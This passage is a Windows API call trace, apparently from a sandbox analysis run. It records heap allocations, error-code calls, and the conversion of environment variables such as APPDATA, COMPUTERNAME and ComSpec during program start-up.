IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0043.974] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x42efeb) returned 0x49a8b9 [0043.974] RtlSizeHeap (HeapHandle=0x3500000, Flags=0x0, MemoryPointer=0x35242a8) returned 0x80 [0043.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0043.975] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x1f) returned 0x3522410 [0043.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x3522410, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 31 [0043.975] GetLastError () returned 0x0 [0043.975] SetLastError (dwErrCode=0x0) [0043.975] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x4) returned 0x3525fc0 [0043.975] RtlSizeHeap (HeapHandle=0x3500000, Flags=0x0, MemoryPointer=0x3525fc0) returned 0x4 [0043.975] RtlReAllocateHeap (Heap=0x3500000, Flags=0x0, Ptr=0x3525fc0, Size=0x8) returned 0x3525fc0 [0043.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0043.975] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x36) returned 0x3524558 [0043.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x3524558, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", lpUsedDefaultChar=0x0) returned 54 [0043.975] GetLastError () returned 0x0 [0043.975] SetLastError (dwErrCode=0x0) [0043.975] GetLastError () returned 0x0 [0043.975] SetLastError (dwErrCode=0x0) [0043.975] GetLastError () returned 0x0 [0043.975] SetLastError (dwErrCode=0x0) [0043.975] RtlSizeHeap (HeapHandle=0x3500000, Flags=0x0, MemoryPointer=0x3525fc0) returned 0x8 [0043.975] RtlReAllocateHeap (Heap=0x3500000, Flags=0x0, Ptr=0x3525fc0, Size=0xc) returned 0x3525fc0 [0043.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0043.975] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x37) returned 0x3524598 [0043.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x3524598, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 55 [0043.975] GetLastError () returned 0x0 [0043.975] SetLastError (dwErrCode=0x0) [0043.975] GetLastError () returned 0x0 [0043.975] SetLastError (dwErrCode=0x0) [0043.975] GetLastError () returned 0x0 [0043.975] SetLastError (dwErrCode=0x0) [0043.975] GetLastError () returned 0x0 [0043.975] SetLastError (dwErrCode=0x0) [0043.975] GetLastError () returned 0x0 [0043.976] SetLastError (dwErrCode=0x0) [0043.976] RtlSizeHeap (HeapHandle=0x3500000, Flags=0x0, MemoryPointer=0x3525fc0) returned 0xc [0043.976] RtlReAllocateHeap (Heap=0x3500000, Flags=0x0, Ptr=0x3525fc0, Size=0x10) returned 0x3525fc0 [0043.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0043.976] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x3c) returned 0x3518828 [0043.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x3518828, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 60 [0043.976] GetLastError () returned 0x0 [0043.976] SetLastError (dwErrCode=0x0) [0043.976] GetLastError () returned 0x0 [0043.976] SetLastError (dwErrCode=0x0) [0043.976] GetLastError () returned 0x0 [0043.976] SetLastError (dwErrCode=0x0) [0043.976] GetLastError () returned 0x0 [0043.976] SetLastError (dwErrCode=0x0) [0043.976] GetLastError () returned 0x0 [0043.976] SetLastError (dwErrCode=0x0) [0043.976] GetLastError () returned 0x0 [0043.976] SetLastError (dwErrCode=0x0) [0043.976] GetLastError () returned 0x0 [0043.976] SetLastError (dwErrCode=0x0) [0043.976] RtlSizeHeap (HeapHandle=0x3500000, Flags=0x0, MemoryPointer=0x3525fc0) returned 0x10 [0043.976] RtlReAllocateHeap (Heap=0x3500000, Flags=0x0, Ptr=0x3525fc0, Size=0x14) returned 0x3525fc0 [0043.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0043.976] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x31) returned 0x35245d8 [0043.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x35245d8, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramW6432=C:\\Program Files\\Common Files", lpUsedDefaultChar=0x0) returned 49 [0043.976] GetLastError () returned 0x0 [0043.976] SetLastError (dwErrCode=0x0) [0043.976] GetLastError () returned 0x0 [0043.976] SetLastError (dwErrCode=0x0) [0043.976] GetLastError () returned 0x0 [0043.976] SetLastError (dwErrCode=0x0) [0043.976] GetLastError () returned 0x0 [0043.976] SetLastError (dwErrCode=0x0) [0043.976] GetLastError () returned 0x0 [0043.977] SetLastError (dwErrCode=0x0) [0043.977] GetLastError () returned 0x0 [0043.977] SetLastError (dwErrCode=0x0) [0043.977] GetLastError () returned 0x0 [0043.977] SetLastError (dwErrCode=0x0) [0043.977] GetLastError () returned 0x0 [0043.977] SetLastError (dwErrCode=0x0) [0043.977] GetLastError () returned 0x0 [0043.977] SetLastError (dwErrCode=0x0) [0043.977] RtlSizeHeap (HeapHandle=0x3500000, Flags=0x0, MemoryPointer=0x3525fc0) returned 0x14 [0043.977] RtlReAllocateHeap (Heap=0x3500000, Flags=0x0, Ptr=0x3525fc0, Size=0x18) returned 0x3525fc0 [0043.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0043.977] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x17) returned 0x3524618 [0043.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x3524618, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPUTERNAME=XDUWTFONO", lpUsedDefaultChar=0x0) returned 23 [0043.977] GetLastError () returned 0x0 [0043.977] SetLastError (dwErrCode=0x0) [0043.977] GetLastError () returned 0x0 [0043.977] SetLastError (dwErrCode=0x0) [0043.977] GetLastError () returned 0x0 [0043.977] SetLastError (dwErrCode=0x0) [0043.977] GetLastError () returned 0x0 [0043.977] SetLastError (dwErrCode=0x0) [0043.977] GetLastError () returned 0x0 [0043.977] SetLastError (dwErrCode=0x0) [0043.977] GetLastError () returned 0x0 [0043.977] SetLastError (dwErrCode=0x0) [0043.977] GetLastError () returned 0x0 [0043.977] SetLastError (dwErrCode=0x0) [0043.977] GetLastError () returned 0x0 [0043.977] SetLastError (dwErrCode=0x0) [0043.977] GetLastError () returned 0x0 [0043.977] SetLastError (dwErrCode=0x0) [0043.978] GetLastError () returned 0x0 [0043.978] SetLastError (dwErrCode=0x0) [0043.978] GetLastError () returned 0x0 [0043.978] SetLastError (dwErrCode=0x0) [0043.978] RtlSizeHeap (HeapHandle=0x3500000, Flags=0x0, MemoryPointer=0x3525fc0) returned 0x18 [0043.978] RtlReAllocateHeap (Heap=0x3500000, Flags=0x0, Ptr=0x3525fc0, Size=0x1c) returned 0x3525fc0 [0043.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0043.978] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x24) returned 0x351e320 [0043.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x351e320, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ComSpec=C:\\Windows\\system32\\cmd.exe", lpUsedDefaultChar=0x0) returned 36 [0043.978] GetLastError () returned 0x0 [0043.978] SetLastError (dwErrCode=0x0) [0043.978] GetLastError () returned 0x0 [0043.978] SetLastError (dwErrCode=0x0) [0043.978] GetLastError () returned 0x0 [0043.978] SetLastError (dwErrCode=0x0) [0043.978] GetLastError () returned 0x0 [0043.978] SetLastError (dwErrCode=0x0) [0043.978] GetLastError () returned 0x0 [0043.978] SetLastError (dwErrCode=0x0) [0043.978] GetLastError () returned 0x0 [0043.978] SetLastError (dwErrCode=0x0) [0043.978] GetLastError () returned 0x0 [0043.978] SetLastError (dwErrCode=0x0) [0043.978] GetLastError () returned 0x0 [0043.978] SetLastError (dwErrCode=0x0) [0043.978] GetLastError () returned 0x0 [0043.978] SetLastError (dwErrCode=0x0) [0043.978] GetLastError () returned 0x0 [0043.978] SetLastError (dwErrCode=0x0) [0043.978] GetLastError () returned 0x0 [0043.978] SetLastError (dwErrCode=0x0) [0043.978] GetLastError () returned 0x0 [0043.979] SetLastError (dwErrCode=0x0) [0043.979] GetLastError () returned 0x0 [0043.979] SetLastError (dwErrCode=0x0) [0043.979] RtlSizeHeap (HeapHandle=0x3500000, Flags=0x0, MemoryPointer=0x3525fc0) returned 0x1c [0043.979] RtlReAllocateHeap (Heap=0x3500000, Flags=0x0, Ptr=0x3525fc0, Size=0x20) returned 0x3525fc0 [0043.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0043.979] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x14) returned 0x3524638 [0043.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x3524638, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FP_NO_HOST_CHECK=NO", lpUsedDefaultChar=0x0) returned 20 [0043.979] GetLastError () returned 0x0 [0043.979] SetLastError (dwErrCode=0x0) [0043.979] GetLastError () returned 0x0 [0043.979] SetLastError (dwErrCode=0x0) [0043.979] GetLastError () returned 0x0 [0043.979] SetLastError (dwErrCode=0x0) [0043.979] GetLastError () returned 0x0 [0043.979] SetLastError (dwErrCode=0x0) [0043.979] GetLastError () returned 0x0 [0043.979] SetLastError (dwErrCode=0x0) [0043.979] GetLastError () returned 0x0 [0043.979] SetLastError (dwErrCode=0x0) [0043.979] GetLastError () returned 0x0 [0043.979] SetLastError (dwErrCode=0x0) [0043.979] GetLastError () returned 0x0 [0043.979] SetLastError (dwErrCode=0x0) [0043.979] GetLastError () returned 0x0 [0043.979] SetLastError (dwErrCode=0x0) [0043.979] GetLastError () returned 0x0 [0043.979] SetLastError (dwErrCode=0x0) [0043.979] GetLastError () returned 0x0 [0043.979] SetLastError (dwErrCode=0x0) [0043.979] GetLastError () returned 0x0 [0043.979] SetLastError (dwErrCode=0x0) [0043.979] GetLastError () returned 0x0 [0043.980] SetLastError (dwErrCode=0x0) [0043.980] GetLastError () returned 0x0 [0043.980] SetLastError (dwErrCode=0x0) [0043.980] GetLastError () returned 0x0 [0043.980] SetLastError (dwErrCode=0x0) [0043.980] RtlSizeHeap (HeapHandle=0x3500000, Flags=0x0, MemoryPointer=0x3525fc0) returned 0x20 [0043.980] RtlReAllocateHeap (Heap=0x3500000, Flags=0x0, Ptr=0x3525fc0, Size=0x24) returned 0x3524658 [0043.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0043.980] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0xd) returned 0x3521ea8 [0043.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x3521ea8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEDRIVE=C:", lpUsedDefaultChar=0x0) returned 13 [0043.980] GetLastError () returned 0x0 [0043.980] SetLastError (dwErrCode=0x0) [0043.980] GetLastError () returned 0x0 [0043.980] SetLastError (dwErrCode=0x0) [0043.980] GetLastError () returned 0x0 [0043.980] SetLastError (dwErrCode=0x0) [0043.980] GetLastError () returned 0x0 [0043.980] SetLastError (dwErrCode=0x0) [0043.980] GetLastError () returned 0x0 [0043.980] SetLastError (dwErrCode=0x0) [0043.980] GetLastError () returned 0x0 [0043.980] SetLastError (dwErrCode=0x0) [0043.980] GetLastError () returned 0x0 [0043.980] SetLastError (dwErrCode=0x0) [0043.980] GetLastError () returned 0x0 [0043.980] SetLastError (dwErrCode=0x0) [0043.980] GetLastError () returned 0x0 [0043.980] SetLastError (dwErrCode=0x0) [0043.980] GetLastError () returned 0x0 [0043.980] SetLastError (dwErrCode=0x0) [0043.980] GetLastError () returned 0x0 [0043.980] SetLastError (dwErrCode=0x0) [0043.980] GetLastError () returned 0x0 [0043.981] SetLastError (dwErrCode=0x0) [0043.981] GetLastError () returned 0x0 [0043.981] SetLastError (dwErrCode=0x0) [0043.981] GetLastError () returned 0x0 [0043.981] SetLastError (dwErrCode=0x0) [0043.981] GetLastError () returned 0x0 [0043.981] SetLastError (dwErrCode=0x0) [0043.981] GetLastError () returned 0x0 [0043.981] SetLastError (dwErrCode=0x0) [0043.981] GetLastError () returned 0x0 [0043.981] SetLastError (dwErrCode=0x0) [0043.981] RtlSizeHeap (HeapHandle=0x3500000, Flags=0x0, MemoryPointer=0x3524658) returned 0x24 [0043.981] RtlReAllocateHeap (Heap=0x3500000, Flags=0x0, Ptr=0x3524658, Size=0x28) returned 0x3524658 [0043.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0043.981] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x25) returned 0x351e350 [0043.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x351e350, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 37 [0043.981] GetLastError () returned 0x0 [0043.981] SetLastError (dwErrCode=0x0) [0043.981] GetLastError () returned 0x0 [0043.981] SetLastError (dwErrCode=0x0) [0043.981] GetLastError () returned 0x0 [0043.981] SetLastError (dwErrCode=0x0) [0043.981] GetLastError () returned 0x0 [0043.981] SetLastError (dwErrCode=0x0) [0043.981] GetLastError () returned 0x0 [0043.981] SetLastError (dwErrCode=0x0) [0043.981] GetLastError () returned 0x0 [0043.981] SetLastError (dwErrCode=0x0) [0043.981] GetLastError () returned 0x0 [0043.981] SetLastError (dwErrCode=0x0) [0043.981] GetLastError () returned 0x0 [0043.981] SetLastError (dwErrCode=0x0) [0043.981] GetLastError () returned 0x0 [0043.982] SetLastError (dwErrCode=0x0) [0043.982] GetLastError () returned 0x0 [0043.982] SetLastError (dwErrCode=0x0) [0043.982] GetLastError () returned 0x0 [0043.982] SetLastError (dwErrCode=0x0) [0043.982] GetLastError () returned 0x0 [0043.982] SetLastError (dwErrCode=0x0) [0043.982] GetLastError () returned 0x0 [0043.982] SetLastError (dwErrCode=0x0) [0043.982] GetLastError () returned 0x0 [0043.982] SetLastError (dwErrCode=0x0) [0043.982] GetLastError () returned 0x0 [0043.982] SetLastError (dwErrCode=0x0) [0043.982] GetLastError () returned 0x0 [0043.982] SetLastError (dwErrCode=0x0) [0043.982] GetLastError () returned 0x0 [0043.982] SetLastError (dwErrCode=0x0) [0043.982] GetLastError () returned 0x0 [0043.982] SetLastError (dwErrCode=0x0) [0043.982] GetLastError () returned 0x0 [0043.982] SetLastError (dwErrCode=0x0) [0043.982] RtlSizeHeap (HeapHandle=0x3500000, Flags=0x0, MemoryPointer=0x3524658) returned 0x28 [0043.982] RtlReAllocateHeap (Heap=0x3500000, Flags=0x0, Ptr=0x3524658, Size=0x2c) returned 0x3524658 [0043.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 57 [0043.982] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x39) returned 0x3518870 [0043.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x3518870, cbMultiByte=57, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpUsedDefaultChar=0x0) returned 57 [0043.982] GetLastError () returned 0x0 [0043.982] SetLastError (dwErrCode=0x0) [0043.982] GetLastError () returned 0x0 [0043.982] SetLastError (dwErrCode=0x0) [0043.982] GetLastError () returned 0x0 [0043.982] SetLastError (dwErrCode=0x0) [0043.983] GetLastError () returned 0x0 [0043.983] SetLastError (dwErrCode=0x0) [0043.983] GetLastError () returned 0x0 [0043.983] SetLastError (dwErrCode=0x0) [0043.983] GetLastError () returned 0x0 [0043.983] SetLastError (dwErrCode=0x0) [0043.983] GetLastError () returned 0x0 [0043.983] SetLastError (dwErrCode=0x0) [0043.983] GetLastError () returned 0x0 [0043.983] SetLastError (dwErrCode=0x0) [0043.983] GetLastError () returned 0x0 [0043.983] SetLastError (dwErrCode=0x0) [0043.983] GetLastError () returned 0x0 [0043.983] SetLastError (dwErrCode=0x0) [0043.983] GetLastError () returned 0x0 [0043.983] SetLastError (dwErrCode=0x0) [0043.983] GetLastError () returned 0x0 [0043.983] SetLastError (dwErrCode=0x0) [0043.983] GetLastError () returned 0x0 [0043.983] SetLastError (dwErrCode=0x0) [0043.983] GetLastError () returned 0x0 [0043.983] SetLastError (dwErrCode=0x0) [0043.983] GetLastError () returned 0x0 [0043.983] SetLastError (dwErrCode=0x0) [0043.983] GetLastError () returned 0x0 [0043.983] SetLastError (dwErrCode=0x0) [0043.983] GetLastError () returned 0x0 [0043.983] SetLastError (dwErrCode=0x0) [0043.983] GetLastError () returned 0x0 [0043.984] SetLastError (dwErrCode=0x0) [0043.984] GetLastError () returned 0x0 [0043.984] SetLastError (dwErrCode=0x0) [0043.984] GetLastError () returned 0x0 [0043.984] SetLastError (dwErrCode=0x0) [0043.984] GetLastError () returned 0x0 [0043.984] SetLastError (dwErrCode=0x0) [0043.984] RtlSizeHeap (HeapHandle=0x3500000, Flags=0x0, MemoryPointer=0x3524658) returned 0x2c [0043.984] RtlReAllocateHeap (Heap=0x3500000, Flags=0x0, Ptr=0x3524658, Size=0x30) returned 0x3524658 [0043.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0043.984] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x18) returned 0x3525fc0 [0043.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x3525fc0, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOGONSERVER=\\\\XDUWTFONO", lpUsedDefaultChar=0x0) returned 24 [0043.984] GetLastError () returned 0x0 [0043.984] SetLastError (dwErrCode=0x0) [0043.984] GetLastError () returned 0x0 [0043.984] SetLastError (dwErrCode=0x0) [0043.984] GetLastError () returned 0x0 [0043.984] SetLastError (dwErrCode=0x0) [0043.984] GetLastError () returned 0x0 [0043.984] SetLastError (dwErrCode=0x0) [0043.984] GetLastError () returned 0x0 [0043.984] SetLastError (dwErrCode=0x0) [0043.984] GetLastError () returned 0x0 [0043.984] SetLastError (dwErrCode=0x0) [0043.984] GetLastError () returned 0x0 [0043.984] SetLastError (dwErrCode=0x0) [0043.984] GetLastError () returned 0x0 [0043.984] SetLastError (dwErrCode=0x0) [0043.984] GetLastError () returned 0x0 [0043.984] SetLastError (dwErrCode=0x0) [0043.984] GetLastError () returned 0x0 [0043.984] SetLastError (dwErrCode=0x0) [0043.984] GetLastError () returned 0x0 [0043.985] SetLastError (dwErrCode=0x0) [0043.985] GetLastError () returned 0x0 [0043.985] SetLastError (dwErrCode=0x0) [0043.985] GetLastError () returned 0x0 [0043.985] SetLastError (dwErrCode=0x0) [0043.985] GetLastError () returned 0x0 [0043.985] SetLastError (dwErrCode=0x0) [0043.985] GetLastError () returned 0x0 [0043.985] SetLastError (dwErrCode=0x0) [0043.985] GetLastError () returned 0x0 [0043.985] SetLastError (dwErrCode=0x0) [0043.985] GetLastError () returned 0x0 [0043.985] SetLastError (dwErrCode=0x0) [0043.985] GetLastError () returned 0x0 [0043.985] SetLastError (dwErrCode=0x0) [0043.985] GetLastError () returned 0x0 [0043.985] SetLastError (dwErrCode=0x0) [0043.985] GetLastError () returned 0x0 [0043.985] SetLastError (dwErrCode=0x0) [0043.985] GetLastError () returned 0x0 [0043.985] SetLastError (dwErrCode=0x0) [0043.985] GetLastError () returned 0x0 [0043.985] SetLastError (dwErrCode=0x0) [0043.985] GetLastError () returned 0x0 [0043.985] SetLastError (dwErrCode=0x0) [0043.985] RtlSizeHeap (HeapHandle=0x3500000, Flags=0x0, MemoryPointer=0x3524658) returned 0x30 [0043.985] RtlReAllocateHeap (Heap=0x3500000, Flags=0x0, Ptr=0x3524658, Size=0x34) returned 0x3524658 [0043.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0043.985] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x17) returned 0x3524698 [0043.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x3524698, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NUMBER_OF_PROCESSORS=1", lpUsedDefaultChar=0x0) returned 23 [0043.985] GetLastError () returned 0x0 [0043.985] SetLastError (dwErrCode=0x0) [0043.985] GetLastError () returned 0x0 [0043.986] SetLastError (dwErrCode=0x0) [0043.986] GetLastError () returned 0x0 [0043.986] SetLastError (dwErrCode=0x0) [0043.986] GetLastError () returned 0x0 [0043.986] SetLastError (dwErrCode=0x0) [0043.986] GetLastError () returned 0x0 [0043.986] SetLastError (dwErrCode=0x0) [0043.986] GetLastError () returned 0x0 [0043.986] SetLastError (dwErrCode=0x0) [0043.986] GetLastError () returned 0x0 [0043.986] SetLastError (dwErrCode=0x0) [0043.986] GetLastError () returned 0x0 [0043.986] SetLastError (dwErrCode=0x0) [0043.986] GetLastError () returned 0x0 [0043.986] SetLastError (dwErrCode=0x0) [0043.986] GetLastError () returned 0x0 [0043.986] SetLastError (dwErrCode=0x0) [0043.986] GetLastError () returned 0x0 [0043.986] SetLastError (dwErrCode=0x0) [0043.986] GetLastError () returned 0x0 [0043.986] SetLastError (dwErrCode=0x0) [0043.986] GetLastError () returned 0x0 [0043.986] SetLastError (dwErrCode=0x0) [0043.986] GetLastError () returned 0x0 [0043.986] SetLastError (dwErrCode=0x0) [0043.986] GetLastError () returned 0x0 [0043.986] SetLastError (dwErrCode=0x0) [0043.986] GetLastError () returned 0x0 [0043.986] SetLastError (dwErrCode=0x0) [0043.986] GetLastError () returned 0x0 [0043.986] SetLastError (dwErrCode=0x0) [0043.987] GetLastError () returned 0x0 [0043.987] SetLastError (dwErrCode=0x0) [0043.987] GetLastError () returned 0x0 [0043.987] SetLastError (dwErrCode=0x0) [0043.987] GetLastError () returned 0x0 [0043.987] SetLastError (dwErrCode=0x0) [0043.987] GetLastError () returned 0x0 [0043.987] SetLastError (dwErrCode=0x0) [0043.987] GetLastError () returned 0x0 [0043.987] SetLastError (dwErrCode=0x0) [0043.987] GetLastError () returned 0x0 [0043.987] SetLastError (dwErrCode=0x0) [0043.987] GetLastError () returned 0x0 [0043.987] SetLastError (dwErrCode=0x0) [0043.987] GetLastError () returned 0x0 [0043.987] SetLastError (dwErrCode=0x0) [0043.987] RtlSizeHeap (HeapHandle=0x3500000, Flags=0x0, MemoryPointer=0x3524658) returned 0x34 [0043.987] RtlReAllocateHeap (Heap=0x3500000, Flags=0x0, Ptr=0x3524658, Size=0x38) returned 0x3524658 [0043.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0043.987] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0xe) returned 0x3521ec0 [0043.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x3521ec0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OS=Windows_NT", lpUsedDefaultChar=0x0) returned 14 [0043.987] GetLastError () returned 0x0 [0043.987] SetLastError (dwErrCode=0x0) [0043.987] GetLastError () returned 0x0 [0043.987] SetLastError (dwErrCode=0x0) [0043.987] GetLastError () returned 0x0 [0043.987] 